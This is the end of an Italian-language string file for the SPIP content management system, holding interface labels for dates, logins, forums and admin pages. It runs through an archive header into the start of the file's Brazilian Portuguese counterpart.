'date_fmt_nomjour_date' => 'il @nomjour@ @date@',
'date_heures' => 'ore',
'date_hier' => 'ieri',
'date_il_y_a' => '@delai@ fa',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'domenica',
'date_jour_1_abbr' => 'dom',
'date_jour_1_initiale' => 'd',
'date_jour_2' => 'lunedì',
'date_jour_2_abbr' => 'lun',
'date_jour_2_initiale' => 'l',
'date_jour_3' => 'martedì',
'date_jour_3_abbr' => 'mar',
'date_jour_3_initiale' => 'm',
'date_jour_4' => 'mercoledì',
'date_jour_4_abbr' => 'mer',
'date_jour_4_initiale' => 'm',
'date_jour_5' => 'giovedì',
'date_jour_5_abbr' => 'giov',
'date_jour_5_initiale' => 'g',
'date_jour_6' => 'venerdì',
'date_jour_6_abbr' => 'ven',
'date_jour_6_initiale' => 'v',
'date_jour_7' => 'sabato',
'date_jour_7_abbr' => 'sab',
'date_jour_7_initiale' => 's',
'date_jours' => 'giorni',
'date_minutes' => 'minuti',
'date_mois' => 'mesi',
'date_mois_1' => 'Gennaio',
'date_mois_10' => 'Ottobre',
'date_mois_11' => 'Novembre',
'date_mois_12' => 'Dicembre',
'date_mois_2' => 'Febbraio',
'date_mois_3' => 'Marzo',
'date_mois_4' => 'Aprile',
'date_mois_5' => 'Maggio',
'date_mois_6' => 'Giugno',
'date_mois_7' => 'Luglio',
'date_mois_8' => 'Agosto',
'date_mois_9' => 'Settembre',
'date_saison_1' => 'inverno',
'date_saison_2' => 'primavera',
'date_saison_3' => 'estate',
'date_saison_4' => 'autunno',
'date_semaines' => 'settimane',
'dirs_commencer' => ' per iniziare realmente l’installazione',
'dirs_preliminaire' => 'Prima di iniziare: <b>impostare i diritti di accesso</b>',
'dirs_probleme_droits' => 'Problema nei diritti di accesso',
'dirs_repertoires_absents' => '<p><b>Le seguenti cartelle non sono state trovate: </b></p><ul>@bad_dirs@.</ul>
<p>Probabilmente ciò è dovuto a un’errata formattazione delle lettere maiuscole o minuscole.
Verificare che le maiuscole e le minuscole delle cartelle coincidano con quelle visualizzate
qui sopra; se non è così, rinominare le cartelle utilizzando il software FTP.
<p>Una volta effettuata questa correzione, si potrà',
'dirs_repertoires_suivants' => '<p><b>Le seguenti cartelle non sono accessibili in scrittura:</b></p> <ul>@bad_dirs@</ul>
<p>Per risolvere il problema, utilizzare un client FTP per impostare i diritti di accesso
di ciascuna di queste cartelle. La procedura è spiegata in dettaglio nella guida d’installazione.</p>
<p>Una volta attribuiti i permessi, si potrà ',
'double_occurrence' => 'Doppia occorrenza', # MODIF
// E
'en_cours' => 'in corso',
'envoi_via_le_site' => 'Invio tramite il sito',
'erreur' => 'Errore',
'erreur_balise_non_fermee' => 'ultimo tag non chiuso:',
'erreur_texte' => 'errore/i',
'etape' => 'Fase',
// F
'fichier_introuvable' => 'File @fichier@ non trovato',
'form_deja_inscrit' => 'Sei già iscritta.',
'form_email_non_valide' => 'L’indirizzo email non è valido.',
'form_forum_access_refuse' => 'Non hai più accesso a questo sito.',
'form_forum_bonjour' => 'Buongiorno @nom@,',
'form_forum_email_deja_enregistre' => 'Questo indirizzo email è già registrato, puoi dunque utilizzare la tua password abituale.',
'form_forum_identifiant_mail' => 'Il nuovo codice identificativo (ID) ti è stato appena inviato tramite email.',
'form_forum_identifiants' => 'Dati personali',
'form_forum_indiquer_nom_email' => 'Indica qui nome e indirizzo email. L’ID personale ti verrà recapitato tramite email a breve.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(questo è un messaggio generato automaticamente)',
'form_forum_pass' => 'password:',
'form_forum_probleme_mail' => 'Problema di posta: l’ID non può essere inviato.',
'form_forum_voici1' => 'Ecco i dati per poter partecipare ai forum
del sito"@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Ecco i dati per poter proporre degli articoli sul sito
"@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Indica il tuo indirizzo email.',
'form_indiquer_nom' => 'Indica il tuo nome.',
'form_indiquer_nom_site' => 'Indica il nome del tuo sito.',
'form_pet_deja_enregistre' => 'Questo sito è già registrato',
'form_pet_signature_pasprise' => 'La tua adesione non è stata presa in considerazione.',
'form_prop_confirmer_envoi' => 'Conferma l’invio',
'form_prop_description' => 'Descrizione/commento',
'form_prop_enregistre' => 'La tua proposta è stata registrata ed apparirà on line dopo l’approvazione della responsabile del sito.',
'form_prop_envoyer' => 'Invia un messaggio',
'form_prop_indiquer_email' => 'Indica un indirizzo email valido',
'form_prop_indiquer_nom_site' => 'Indica il nome del sito.',
'form_prop_indiquer_sujet' => 'Indica un argomento',
'form_prop_message_envoye' => 'Messaggio inviato',
'form_prop_non_enregistre' => 'La tua proposta non è stata registrata.',
'form_prop_sujet' => 'Argomento',
'form_prop_url_site' => 'Indirizzo (URL) del sito', # MODIF
'forum_non_inscrit' => 'Non sei iscritta, oppure l’indirizzo o la password inseriti non sono corretti.',
'forum_par_auteur' => 'di @auteur@',
'forum_titre_erreur' => 'Errore...',
// I
'ical_texte_rss_articles' => 'Il file di "backend" degli articoli di questo sito si trova al seguente indirizzo:',
'ical_texte_rss_articles2' => 'È anche possibile ottenere un file di "backend" per gli articoli di una singola rubrica:',
'ical_texte_rss_breves' => 'Inoltre esiste un file per l’insieme delle brevi del sito. Precisando un numero di rubrica ci si può limitare alle brevi in essa contenute.',
'icone_a_suivre' => 'Pannello di controllo',
'icone_admin_site' => 'Amministrazione del sito',
'icone_agenda' => 'Agenda',
'icone_aide_ligne' => 'Guida in linea',
'icone_articles' => 'Articoli',
'icone_auteurs' => 'Autrici',
'icone_brouteur' => 'Navigazione rapida',
'icone_configuration_site' => 'Configurazione del sito',
'icone_configurer_site' => 'Configura il sito',
'icone_creer_nouvel_auteur' => 'Crea una nuova autrice',
'icone_creer_rubrique' => 'Crea una rubrica',
'icone_creer_sous_rubrique' => 'Crea una sottorubrica',
'icone_deconnecter' => 'Esci',
'icone_discussions' => 'Discussioni',
'icone_doc_rubrique' => 'Documenti delle rubriche',
'icone_ecrire_article' => 'Scrivi un articolo',
'icone_edition_site' => 'Redazione del sito',
'icone_gestion_langues' => 'Gestione delle lingue',
'icone_informations_personnelles' => 'Dati personali',
'icone_interface_complet' => 'Interfaccia completa',
'icone_interface_simple' => 'Interfaccia semplificata',
'icone_maintenance_site' => 'Manutenzione tecnica',
'icone_messagerie_personnelle' => 'Messaggi personali',
'icone_repartition_debut' => 'Mostra la ripartizione dall’inizio',
'icone_rubriques' => 'Rubriche',
'icone_sauver_site' => 'Backup del sito',
'icone_site_entier' => 'Tutto il sito',
'icone_sites_references' => 'Siti repertoriati',
'icone_statistiques' => 'Statistiche del sito',
'icone_suivi_activite' => 'Monitorare l’attività del sito',
'icone_suivi_actualite' => 'Evoluzione del sito',
'icone_suivi_pettions' => 'Gestione delle petizioni',
'icone_suivi_revisions' => 'Modifiche agli articoli',
'icone_supprimer_document' => 'Elimina il documento',
'icone_supprimer_image' => 'Elimina l’immagine',
'icone_tous_articles' => 'Tutti i tuoi articoli',
'icone_tous_auteur' => 'Tutte le autrici',
'icone_visiter_site' => 'Visita il sito', # MODIF
'icone_voir_en_ligne' => 'Vedi on line',
'img_indisponible' => 'immagine non disponibile',
'impossible' => 'impossibile',
'info_a_suivre' => 'PANNELLO DI CONTROLLO »',
'info_acces_interdit' => 'Accesso vietato',
'info_acces_refuse' => 'Accesso rifiutato',
'info_action' => 'Azione: @action@',
'info_administrer_rubriques' => 'Puoi amministrare questa rubrica e le relative sottorubriche',
'info_adresse_non_indiquee' => 'Non hai indicato l’indirizzo da testare!',
'info_aide' => 'AIUTO:',
'info_ajouter_mot' => 'Aggiungi questa parola',
'info_annonce' => 'ANNUNCIO',
'info_annonces_generales' => 'Annunci generali:',
'info_article_propose' => 'Articolo proposto',
'info_article_publie' => 'Articolo pubblicato',
'info_article_redaction' => 'Articolo in corso di redazione',
'info_article_refuse' => 'Articolo rifiutato',
'info_article_supprime' => 'Articolo eliminato',
'info_articles' => 'Articoli',
'info_articles_a_valider' => 'Articoli da convalidare',
'info_articles_proposes' => 'Articoli proposti',
'info_auteurs_nombre' => 'autrice(i):',
'info_authentification_ftp' => 'Autenticazione (via FTP).',
'info_breves_2' => 'brevi',
'info_connexion_refusee' => 'Connessione rifiutata',
'info_contact_developpeur' => 'Contatta un programmatore.',
'info_contenance' => 'Questo sito contiene:',
'info_contribution' => 'contributi dei forum', # MODIF
'info_copyright' => '@spip@ è un software libero distribuito @lien_gpl@.',
'info_copyright_doc' => 'Per maggiori informazioni, vedi il sito <a href="@spipnet@">http://www.spip.net/it</a>.', # MODIF
'info_copyright_gpl' => 'sotto licenza GPL',
'info_cours_edition' => 'Articoli in fase di redazione',
'info_creer_repertoire' => 'Creare un file o una cartella chiamata:',
'info_creer_repertoire_2' => 'all’interno della sottocartella <b>@repertoire@</b>, poi:',
'info_creer_vignette' => 'creazione automatica dell’anteprima',
'info_deplier' => 'Espandi',
'info_descriptif_nombre' => 'descrizione(i):',
'info_description' => 'Descrizione:',
'info_description_2' => 'Descrizione:',
'info_dimension' => 'Dimensioni:',
'info_ecire_message_prive' => 'Scrivi un messaggio privato',
'info_email_invalide' => 'Indirizzo email non valido.',
'info_en_cours_validation' => 'I tuoi articoli in corso di redazione',
'info_en_ligne' => 'Attualmente on line:',
'info_envoyer_message_prive' => 'Invia un messaggio privato a questa autrice',
'info_erreur_requete' => 'Errore nella richiesta: ',
'info_erreur_squelette2' => 'Nessun modello di layout <b>@fichier@</b> trovato...',
'info_erreur_systeme' => 'Errore di sistema (errno @errsys@)',
'info_erreur_systeme2' => 'Il disco rigido potrebbe essere pieno o la base dati danneggiata.<br />
<span style="color:red;">Tenta di <a href=\'@script@\'>ripristinare la base dati</a>, o contatta il tuo hoster.</span>',
'info_fini' => 'Finito!',
'info_format_image' => 'Formati di file immagine utilizzabili per la creazione delle etichette: @gd_formats@.',
'info_format_non_defini' => 'formato non definito',
'info_grand_ecran' => 'Layout per monitor grandi',
'info_image_aide' => 'AIUTO',
'info_image_process_titre' => 'Metodo per generare thumbnail',
'info_impossible_lire_page' => '<b>Errore!</b> Impossibile leggere la pagina <tt><html>@test_proxy@</html></tt> attraverso il proxy <tt>',
'info_installation_systeme_publication' => 'Installazione del sistema di pubblicazione...',
'info_installer_documents' => 'È possibile installare automaticamente tutti i documenti contenuti nella cartella @upload@.',
'info_installer_ftp' => 'In qualità di amministratrice, puoi installare file (via FTP) nella cartella @upload@ per poi selezionarli direttamente.',
'info_installer_images' => 'È possibile installare delle immagini in formato JPEG, GIF e PNG.',
'info_installer_images_dossier' => 'Installare delle immagini nella cartella @upload@ per poterle selezionare direttamente.',
'info_interface_complete' => 'Interfaccia completa',
'info_interface_simple' => 'Interfaccia semplificata',
'info_joindre_document_article' => 'Puoi allegare a questo articolo dei documenti del tipo',
'info_joindre_document_rubrique' => 'Puoi aggiungere a questa rubrica documenti del tipo',
'info_joindre_documents_article' => 'Puoi allegare all’articolo documenti del tipo: ',
'info_l_article' => 'l’articolo',
'info_la_breve' => 'la breve',
'info_la_rubrique' => 'la sezione',
'info_langue_principale' => 'Lingua predefinita del sito',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ pixel',
'info_les_auteurs_1' => 'di @les_auteurs@ ',
'info_logo_format_interdit' => 'Solo i logo in formato @formats@ sono permessi.',
'info_logo_max_poids' => 'I logo devono obbligatoriamente avere una dimensione inferiore a @maxi@ (questo file è di @actuel@).',
'info_mail_fournisseur' => 'tuo@provider.com',
'info_message_2' => 'MESSAGGIO',
'info_message_supprime' => 'MESSAGGIO ELIMINATO',
'info_mise_en_ligne' => 'Data di pubblicazione on line:',
'info_modification_parametres_securite' => 'modifiche dei parametri di sicurezza',
'info_mois_courant' => 'Durante il mese:',
'info_mot_cle_ajoute' => 'La seguente parola chiave è stata aggiunta a',
'info_multi_herit' => 'Lingua predefinita',
'info_multi_langues_soulignees' => 'Le <u>lingue sottolineate</u> hanno la traduzione di tutti i testi dell’interfaccia. Se si seleziona una di queste lingue, molti elementi del sito pubblico (date, form) verranno tradotti automaticamente. Per le lingue che non sono sottolineate, invece, tali elementi rimarranno nella lingua principale del sito.', # MODIF
'info_multilinguisme' => 'Multilinguismo',
'info_nom_non_utilisateurs_connectes' => 'Il tuo nome non appare nella lista delle utenti collegate.',
'info_nom_utilisateurs_connectes' => 'Il tuo nome è visibile nella lista delle utenti collegate.',
'info_nombre_en_ligne' => 'Attualmente on line:',
'info_non_resultat' => 'Nessun risultato per "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Il sistema di messaggistica interna di questo sito non viene utilizzato.',
'info_nouveau_message' => 'HAI UN NUOVO MESSAGGIO',
'info_nouveaux_messages' => 'HAI @total_messages@ NUOVI MESSAGGI',
'info_numero_abbreviation' => 'N. ',
'info_obligatoire' => 'Questa informazione è obbligatoria',
'info_pense_bete' => 'MEMO',
'info_petit_ecran' => 'Layout per monitor piccoli',
'info_petition_close' => 'Petizione chiusa',
'info_pixels' => 'pixels',
'info_plusieurs_mots_trouves' => 'Numerose parole chiave trovate per "@cherche_mot@":',
'info_portfolio_automatique' => 'Portfolio automatico:',
'info_premier_resultat' => '[@debut_limit@ primi risultati su @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ primi risultati su @total@]',
'info_propose_1' => '[@nom_site_spip@] Propone: @titre@',
'info_propose_2' => 'Articolo proposto
---------------',
'info_propose_3' => 'L’articolo "@titre@" è proposto per la pubblicazione',
'info_propose_4' => 'Sei invitata a consultare e a dare la tua opinione ',
'info_propose_5' => 'nel forum annesso.
È disponibile all’indirizzo:',
'info_publie_01' => 'L’articolo "@titre@" è stato convalidato da @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBBLICA: @titre@',
'info_publie_2' => 'Articolo pubblicato
--------------',
'info_rechercher' => 'Ricerca',
'info_rechercher_02' => 'Cerca:',
'info_remplacer_vignette' => 'Sostituire l’icona predefinita con una personalizzata:',
'info_sans_titre_2' => 'senza titolo',
'info_selectionner_fichier' => 'Puoi selezionare un file della cartella @upload@',
'info_selectionner_fichier_2' => 'Seleziona un file:',
'info_supprimer_vignette' => 'Cancella l’immagine',
'info_symbole_bleu' => 'Il simbolo <b>blu</b> indica un <b>memo</b>: cioè un messaggio ad uso personale.',
'info_symbole_jaune' => 'Il simbolo <b>giallo</b> indica un <b>annuncio a tutte le redattrici</b>: modificabile da tutte le amministratrici e visibile da tutte le redattrici.',
'info_symbole_vert' => 'Il simbolo <b>verde</b> indica i <b>messaggi scambiati con altre utenti </b> del sito.',
'info_telecharger_nouveau_logo' => 'Upload di un nuovo logo:',
'info_telecharger_ordinateur' => 'Upload dal tuo computer:',
'info_tous_resultats_enregistres' => '[tutti i risultati sono salvati]',
'info_tout_afficher' => 'Visualizza tutto',
'info_travaux_texte' => 'Questo sito non è stato ancora configurato. Torna più tardi...',
'info_travaux_titre' => 'Lavori in corso',
'info_trop_resultat' => 'Troppi risultati per "@cherche_mot@" ; restringi la ricerca.',
'info_utilisation_messagerie_interne' => 'Stai utilizzando il sistema di messaggistica interna al sito.',
'info_valider_lien' => 'convalidare questo link',
'info_verifier_image' => ', verifica che le immagini siano state trasferite correttamente.',
'info_vignette_defaut' => 'Loghi predefiniti',
'info_vignette_personnalisee' => 'Loghi personalizzati',
'info_visite' => 'visita:',
'info_vos_rendez_vous' => 'I tuoi prossimi appuntamenti',
'infos_vos_pense_bete' => 'I tuoi memo', # MODIF
// L
'lien_afficher_icones_seuls' => 'Mostra solo le icone',
'lien_afficher_texte_icones' => 'Mostra le icone e il testo',
'lien_afficher_texte_seul' => 'Mostra solo il testo',
'lien_liberer' => 'libera',
'lien_liberer_tous' => 'liberare questi articoli', # MODIF
'lien_nouvea_pense_bete' => 'NUOVO MEMO',
'lien_nouveau_message' => 'NUOVO MESSAGGIO',
'lien_nouvelle_annonce' => 'NUOVO ANNUNCIO',
'lien_petitions' => 'PETIZIONE',
'lien_popularite' => 'popolarità: @popularite@%',
'lien_racine_site' => 'ROOT DEL SITO',
'lien_reessayer' => 'Prova di nuovo',
'lien_repondre_message' => 'Rispondi',
'lien_supprimer' => 'cancella',
'lien_tout_afficher' => 'Visualizza tutto ',
'lien_visite_site' => 'visita il sito',
'lien_visites' => '@visites@ visite',
'lien_voir_auteur' => 'Vedi questa autrice',
'ligne' => 'Linea',
'login' => 'Collegamento',
'login_acces_prive' => 'accesso all’area riservata',
'login_autre_identifiant' => 'connettiti con un altro ID',
'login_cookie_accepte' => 'Imposta il tuo browser affinché li accetti (almeno per questo sito).',
'login_cookie_oblige' => 'Per identificarsi in modo sicuro su questo sito è necessario accettare i cookie.',
'login_deconnexion_ok' => 'Disconnessione effettuata.',
'login_erreur_pass' => 'Errore nella password.',
'login_espace_prive' => 'area riservata',
'login_identifiant_inconnu' => 'L’ID « @login@ » risulta inesistente.',
'login_login' => 'Login:',
'login_login2' => 'Login (ID di connessione al sito):', # MODIF
'login_login_pass_incorrect' => '(Login o password errati.)',
'login_motpasseoublie' => 'password dimenticata?',
'login_non_securise' => 'Attenzione, questo modulo non è sicuro.
Se non vuoi che la tua password possa essere intercettata sulla rete,
devi attivare Javascript nel tuo browser e',
'login_nouvelle_tentative' => 'Nuovo tentativo',
'login_par_ici' => 'Sei registrata... per di qua...',
'login_pass2' => 'Password:',
'login_preferez_refuser' => '<b>Se preferisci non accettare i cookie</b> c’è un altro metodo (meno sicuro) per connettersi:',
'login_recharger' => 'aggiorna questa pagina',
'login_rester_identifie' => 'Conservare l’identificazione per alcuni giorni',
'login_retour_public' => 'Ritorna al sito pubblico',
'login_retour_site' => 'Ritorna al sito pubblico',
'login_retoursitepublic' => 'ritorna al sito pubblico',
'login_sans_cookiie' => 'Identificazione senza cookie',
'login_sinscrire' => 'registrati',
'login_test_navigateur' => 'test browser/riconnessione',
'login_verifiez_navigateur' => '(Verifica comunque se il tuo browser ha memorizzato la password...)',
// M
'masquer_colonne' => 'Nascondi questa colonna',
'masquer_trad' => 'nascondere le traduzioni',
'module_fichiers_langues' => 'File lingua',
// N
'navigateur_pas_redirige' => 'Se la pagina non cambia automaticamente, cliccare qui per continuare.',
'numero' => 'Numero',
// O
'occurence' => 'Occorrenza',
'onglet_affacer_base' => 'Svuota il database',
'onglet_auteur' => 'L’autrice',
'onglet_contenu_site' => 'Contenuto del sito',
'onglet_evolution_visite_mod' => 'Evoluzione',
'onglet_fonctions_avances' => 'Funzioni avanzate',
'onglet_informations_personnelles' => 'Dati personali',
'onglet_interactivite' => 'Interattività',
'onglet_messagerie' => 'Messaggi',
'onglet_repartition_rubrique' => 'Ripartizione per rubriche',
'onglet_save_restaur_base' => 'Salva/ripristina il database',
'onglet_vider_cache' => 'Svuota la cache',
// P
'pass_choix_pass' => 'Inserisci una nuova password:',
'pass_erreur' => 'Errore',
'pass_erreur_acces_refuse' => '<b>Errore:</b> non hai più accesso a questo sito.',
'pass_erreur_code_inconnu' => '<b>Errore:</b> il codice inserito non corriponde a nessuno delle utenti che hanno accesso a questo sito.',
'pass_erreur_non_enregistre' => '<b>Errore:</b> l’indirizzo <tt>@email_oubli@</tt> non è registrato su questo sito.',
'pass_erreur_non_valide' => '<b>Errore:</b> questo indirizzo <tt>@email_oubli@</tt> non è valido!',
'pass_erreur_probleme_technique' => '<b>Errore:</b> l’email non può essere inviato a causa di un problema tecnico.',
'pass_espace_prive_bla' => 'L’area riservata di questo sito è accessibile
unicamente alle utenti registrate.
Una volta iscritta, potrai consultare gli articoli in corso di redazione,
proporre nuovi articoli e partecipare a tutti i forum.',
'pass_forum_bla' => 'Hai chiesto di intervenire su un forum
riservato alle utenti registrate.',
'pass_indiquez_cidessous' => 'Indica qui sotto l’indirizzo email con il quale ti sei registrata precedentemente.
Riceverai un email con le istruzioni per recuperare i dati di accesso al sito.',
'pass_mail_passcookie' => '(questo è un messaggio generato automaticamente)
Per recuperare i dati di accesso al sito
@nom_site_spip@ (@adresse_site@)
Clicca su questo link:
@sendcookie@
Potrai quindi inserire una nuova password
e riconnetterti all’area riservata.
',
'pass_mot_oublie' => 'Password dimenticata',
'pass_nouveau_enregistre' => 'La nuova password è stata salvata.',
'pass_nouveau_pass' => 'Nuova password',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Password dimenticata',
'pass_quitter_fenetre' => 'Chiudi la finestra',
'pass_rappel_login' => 'Ricorda: il tuo ID (login) è « @login@ ».',
'pass_recevoir_mail' => 'Riceverai un email contenente le istruzioni per recuperare i dati di accesso al sito.',
'pass_retour_public' => 'Torna al sito pubblico',
'pass_rien_a_faire_ici' => 'Vicolo cieco...',
'pass_vousinscrire' => 'Registrati al sito',
'precedent' => 'precedente',
'previsualisation' => 'Anteprima',
'previsualiser' => 'Visualizzare l’anteprima',
// R
'retour' => 'Indietro',
// S
'spip_conforme_dtd' => 'SPIP ritiene che questo documento è conforme al proprio DOCTYPE:',
'squelette' => 'modello di layout',
'squelette_inclus_ligne' => 'modello incluso, linea',
'squelette_ligne' => 'modello, linea',
'stats_visites_et_popularite' => '@visites@ visite; popolarità: @popularite@',
'suivant' => 'successivo',
// T
'taille_ko' => '@taille@ Kb',
'taille_mo' => '@taille@ Mb',
'taille_octets' => '@taille@ byte',
'texte_actualite_site_1' => 'Quando avrai maggiore familiarità con l’interfaccia, clicca su «',
'texte_actualite_site_2' => 'interfaccia completa',
'texte_actualite_site_3' => '» per avere accesso a nuove opzioni.',
'texte_creation_automatique_vignette' => 'La creazione automatica di thumbnail di anteprima è attivata. Se inserisci in questo campo delle immagini in formato @gd_formats@, esse saranno accompagnate da thumbnail con una dimensione massima di @taille_preview@ pixel. ',
'texte_documents_associes' => 'I seguenti documenti sono associati all’articolo,
ma non vi sono stati inseriti direttamente.
A seconda delle impostazioni di pubblicazione del sito,
potranno essere disponibili sotto forma di documenti allegati.',
'texte_erreur_mise_niveau_base' => 'Errore nel database durante l’aggiornamento.
L’immagine <b>@fichier@</b> non è passata (articolo @id_article@).
Prendi nota di questo riferimento, ritenta l’aggiornamento,
e verifica che le immagini si vedano ancora
negli articoli.',
'texte_erreur_visiteur' => 'Si è tentato di entrare nell’area riservata con un login non valido.',
'texte_inc_auth_1' => 'Sei identificata con il
login <b>@auth_login@</b>, ma non esiste più nel database.
Prova a ',
'texte_inc_auth_2' => 'collegarti nuovamente',
'texte_inc_auth_3' => ', dopo aver eventualmente effettuato un logout e
riavviato il tuo browser.',
'texte_inc_config' => 'Le modifiche effettuate in queste pagine influenzano notevolmente il
funzionamento del sito. Non intervenire finché non conosci bene i meccanismi del sistema SPIP. <br /><br /><b>In generale, si consiglia di lasciare sempre alla webmistress la configurazione delle opzioni qui presenti.</b>',
'texte_inc_meta_1' => 'La scrittura del file <code>@fichier@</code> ha causato un errore di sistema. L’amministratrice del sito, ',
'texte_inc_meta_2' => 'verifichi i diritti di scrittura',
'texte_inc_meta_3' => 'nella cartella <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'in corso di redazione',
'texte_statut_poubelle' => 'nel cestino',
'texte_statut_propose_evaluation' => 'proposto per una valutazione',
'texte_statut_publie' => 'pubblicato on line',
'texte_statut_refuse' => 'rifiutato',
'titre_ajouter_mot_cle' => 'AGGIUNGI UNA PAROLA CHIAVE:',
'titre_cadre_raccourcis' => 'SCELTA RAPIDA:',
'titre_changer_couleur_interface' => 'Cambia il colore dell’interfaccia',
'titre_image_admin_article' => 'Puoi amministrare questo articolo',
'titre_image_administrateur' => 'Amministratrice',
'titre_image_aide' => 'Aiuto su questo elemento',
'titre_image_auteur_supprime' => 'Autrice eliminata',
'titre_image_redacteur' => 'Redattrice senza accesso',
'titre_image_redacteur_02' => 'Redattrice',
'titre_image_visiteur' => 'Visitatore',
'titre_joindre_document' => 'ALLEGA UN DOCUMENTO',
'titre_mots_cles' => 'PAROLE CHIAVE',
'titre_probleme_technique' => 'Attenzione: un problema tecnico (server SQL) impedisce l’accesso a questa parte del sito. Grazie per la comprensione.',
'titre_publier_document' => 'ALLEGA UN DOCUMENTO A QUESTA RUBRICA',
'titre_signatures_attente' => 'Firme in corso di convalida',
'titre_signatures_confirmees' => 'Firme confermate',
'titre_statistiques' => 'Statistiche del sito',
'titre_titre_document' => 'Titolo del documento:',
'todo' => 'prossimo',
'trad_reference' => '(articolo di riferimento)', # MODIF
// Z
'zbug_balise_b_aval' => ': ciclo B deve precedere ciclo BOUCLE',
'zbug_balise_inexistante' => 'errore @from@: il tag #@balise@ non esiste ', # MODIF
'zbug_balise_sans_argument' => 'Argomento mancante nel tag @balise@',
'zbug_boucle' => 'ciclo',
'zbug_boucle_recursive_undef' => 'ciclo ricorsivo non definito', # MODIF
'zbug_calcul' => 'calcolo',
'zbug_champ_hors_boucle' => 'Campo @champ@ fuori dal ciclo',
'zbug_champ_hors_motif' => 'Campo @champ@ fuori da un ciclo di motivo @motif@', # MODIF
'zbug_code' => 'codice',
'zbug_critere_inconnu' => 'criterio sconosciuto @critere@', # MODIF
'zbug_distant_interdit' => 'esterno non accessibile', # MODIF
'zbug_doublon_table_sans_cle_primaire' => 'doppioni su una tabella senza chiave primaria atomica', # MODIF
'zbug_doublon_table_sans_index' => 'doppioni su una tabella senza indice', # MODIF
'zbug_erreur_boucle_double' => 'BOUCLE@id@: doppia definizione', # MODIF
'zbug_erreur_boucle_fermant' => 'BOUCLE@id@: chiusura tag mancante', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Sintassi del ciclo errata', # MODIF
'zbug_erreur_compilation' => 'Errore di compilazione',
'zbug_erreur_execution_page' => 'errore di esecuzione della pagina', # MODIF
'zbug_erreur_filtre' => 'Errore: filtro <b>« @filtre@ »</b> non esistente', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} si applica unicamente ai cicli (FORUMS) o (RUBRIQUES)', # MODIF
'zbug_erreur_squelette' => 'Errore/i nel modello di layout',
'zbug_hors_compilation' => 'Fuori Compilazione',
'zbug_info_erreur_squelette' => 'Errore sul sito',
'zbug_inversion_ordre_inexistant' => 'inversione di un ordine non esistente', # MODIF
'zbug_pagination_sans_critere' => '#PAGINATION senza criterio {pagination} oppure usato in un ciclo ricorsivo', # MODIF
'zbug_parametres_inclus_incorrects' => 'Parametri di inclusione non corretti', # MODIF
'zbug_profile' => 'Tempo di elaborazione: @time@',
'zbug_resultat' => 'risultato',
'zbug_serveur_indefini' => 'server SQL non definito', # MODIF
'zbug_statistiques' => 'Statistiche delle query SQL in ordine di durata',
'zbug_table_inconnue' => 'Tabella SQL « @table@ » sconosciuta',
'zxml_connus_attributs' => 'attributi conosciuti',
'zxml_de' => 'di',
'zxml_inconnu_attribut' => 'attributo sconosciuto',
'zxml_inconnu_balise' => 'segnaposto sconosciuto',
'zxml_inconnu_entite' => 'entità sconosciuta',
'zxml_inconnu_id' => 'ID sconosciuto',
'zxml_mais_de' => 'ma di',
'zxml_non_conforme' => 'non è conforme al motivo',
'zxml_non_fils' => 'non è un figlio di',
'zxml_nonvide_balise' => 'segnaposto non vuoto',
'zxml_obligatoire_attribut' => 'attributo obbligatorio ma assente in',
'zxml_succession_fils_incorrecte' => 'successione dei figli non corretta',
'zxml_survoler' => 'passarci sopra col mouse per vedere i corretti',
'zxml_valeur_attribut' => 'valore dell’attributo',
'zxml_vide_balise' => 'tag vuoto',
'zxml_vu' => 'visto in precedenza'
);
?>
ecrire_pt_br.php 0000666 00000220233 15252547432 0007733 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Ativar o plugin',
'affichage' => 'Exibição',
'aide_non_disponible' => 'Esta parte da ajuda online ainda não está disponível neste idioma.',
'annuler_recherche' => 'Cancelar a pesquisa',
'auteur' => 'Autor:',
'avis_acces_interdit' => 'Acesso negado.',
'avis_article_modifie' => 'Atenção, @nom_auteur_modif@ editou esta matéria há @date_diff@ minutos',
'avis_aucun_resultat' => 'Nenhum resultado.',
'avis_base_inaccessible' => 'Não foi possível conectar à base de dados @base@.',
'avis_chemin_invalide_1' => 'O caminho que você escolheu',
'avis_chemin_invalide_2' => 'não parece válido. Por favor, volte para a página anterior e verifique as informações fornecidas.',
'avis_connexion_echec_1' => 'A conexão com a base de dados falhou.',
'avis_connexion_echec_2' => 'Volte para a página anterior e verifique as informações que você forneceu.',
'avis_connexion_echec_3' => '<b>N.B.</b> Em diversos servidores, você precisa <b>solicitar</b> a ativação do seu acesso à base de dados antes de poder utilizá-la. Se você não consegue se conectar, verifique se você efetuou esse pedido.',
'avis_connexion_erreur_nom_base' => 'O nome da base só pode conter letras, números e traços',
'avis_connexion_ldap_echec_1' => 'A conexão ao servidorLDAP falhou.',
'avis_connexion_ldap_echec_2' => 'Volte para a página anterior e verifique as informações que você forneceu.',
